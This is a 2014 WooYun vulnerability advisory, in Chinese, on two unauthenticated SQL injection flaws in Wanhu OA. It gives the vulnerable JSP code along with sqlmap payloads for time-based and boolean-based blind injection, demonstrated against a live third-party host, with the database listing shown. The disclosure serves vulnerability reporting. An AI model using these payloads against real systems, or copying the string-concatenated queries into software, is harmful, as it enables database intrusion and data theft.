当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065275

漏洞标题:万户OA两处盲注DBA权限(无需登陆)

相关厂商:万户OA

漏洞作者: 路人甲

提交时间:2014-06-17 16:59

修复时间:2014-09-15 17:00

公开时间:2014-09-15 17:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-17: 细节已通知厂商并且等待厂商处理中
2014-06-21: 厂商已经确认,细节仅向厂商公开
2014-06-24: 细节向第三方安全合作伙伴开放
2014-08-15: 细节向核心白帽子及相关领域专家公开
2014-08-25: 细节向普通白帽子公开
2014-09-04: 细节向实习白帽子公开
2014-09-15: 细节向公众公开

简要描述:

万户OA两处盲注DBA权限(无需登陆)
一处是布尔型盲注,适用万户OA标准版
一处是延时盲注,通杀标准版和专业版

详细说明:

先说通杀标准版和专业版的延时盲注。
注入点:
/defaultroot/outMailLoginCheck.jsp

<%@ page contentType="text/html; charset=GBK"%>
<%
//盾安外部邮件登陆检查
com.whir.common.util.DataSourceBase dsb = new com.whir.common.util.DataSourceBase();
try{
java.sql.Connection conn = dsb.getDataSource().getConnection();
java.sql.Statement stmt = conn.createStatement();
java.sql.ResultSet rs = stmt.executeQuery("SELECT * FROM EZOFFICE.OA_MAILLOGIN WHERE USERACCOUNT='" + request.getParameter("userAccount") + "' AND RANDOM='" + request.getParameter("outMailRandom") + "'");
if(rs.next()){
out.print(true);
}else{
out.print(false);
}
conn.close();
}catch(Exception e){}
%>


一看就知道盲注,在OA_MAILLOGIN表默认为空的情况就只有比较慢的延时盲注了,直接指定sqlmap的technique=T。
先试试标准版的
http://oa.frjt.net:8081/defaultroot/outMailLoginCheck.jsp?userAccount=&outMailRandom=

sqlmap identified the following injection points with a total of 125 HTTP(s) requests:
---
Place: GET
Parameter: userAccount
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: userAccount=' AND 4843=BENCHMARK(5000000,MD5(0x4758714c)) AND 'YsEW'='YsEW&outMailRandom=
---
web application technology: JSP
back-end DBMS: MySQL >= 5.0.0


再试试专业版的

oa延时盲注.jpg

漏洞证明:

再就是布尔型盲注了,这个只有标准版有。
/defaultroot/synccustomize_simple.jsp

<%
String flag=request.getParameter("flag");
String menuname = request.getParameter("menuname");
if("sync".equals(flag)){
//数据
String s_String = "";
int s_int = 0;
String[][] res = null;
DbOpt dbopt = null;
try {
dbopt = new DbOpt();
String Sql = "";
Sql = "select MENU_id,MENULEVEL,MENUVIEW,MENUVIEWUSER,MENUVIEWORG,MENUVIEWGROUP,MENUPARENT,MENUURL,MENUORDER,DESKTOP1,DESKTOP2,menuIdString,isSystemInit,INUSE,LEFTURL,RIGHTURL,MENUCODE,menuname from OA_MENUSET where menuname='"+menuname+"' ";
res = dbopt.executeQueryToStrArr2(Sql,18);
if(res != null){
String _cnt = dbopt.executeQueryToStr("Select count(*) from oa_custmenu where menu_name='"+menuname+"' ");
s_int = Integer.parseInt(_cnt);
.......
}else if(s_int>1){
s_String = "查出"+s_int+"条数据,未处理!";
}
}

dbopt.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
dbopt.close();
} catch (SQLException ex) {
}
}
%>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="pagebar">
<tr>
<td><%=s_String%>&nbsp;</td>


这里就可以用布尔型盲注,多开点线程速度就妥妥的了。验证:
http://oa.frjt.net:8081/defaultroot/synccustomize_simple.jsp?flag=sync&menuname=%E8%AE%BA%E5%9D%9B

web application technology: JSP
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: menuname
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: flag=sync&menuname=%E8%AE%BA%E5%9D%9B' AND 8760=8760 AND 'pBAh'='pBAh
---
web application technology: JSP
back-end DBMS: MySQL >= 5.0.0
available databases [3]:
[*] ezoffice
[*] information_schema
[*] mysql

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-06-21 22:39

厂商回复:

CNVD确认并复现所述演示案例情况,已经由CNVD联系软件生产厂商,电话至****,将通报发送至zhuobq 、lixin_reg 、jiangrong415 邮箱中处置。

最新状态:

暂无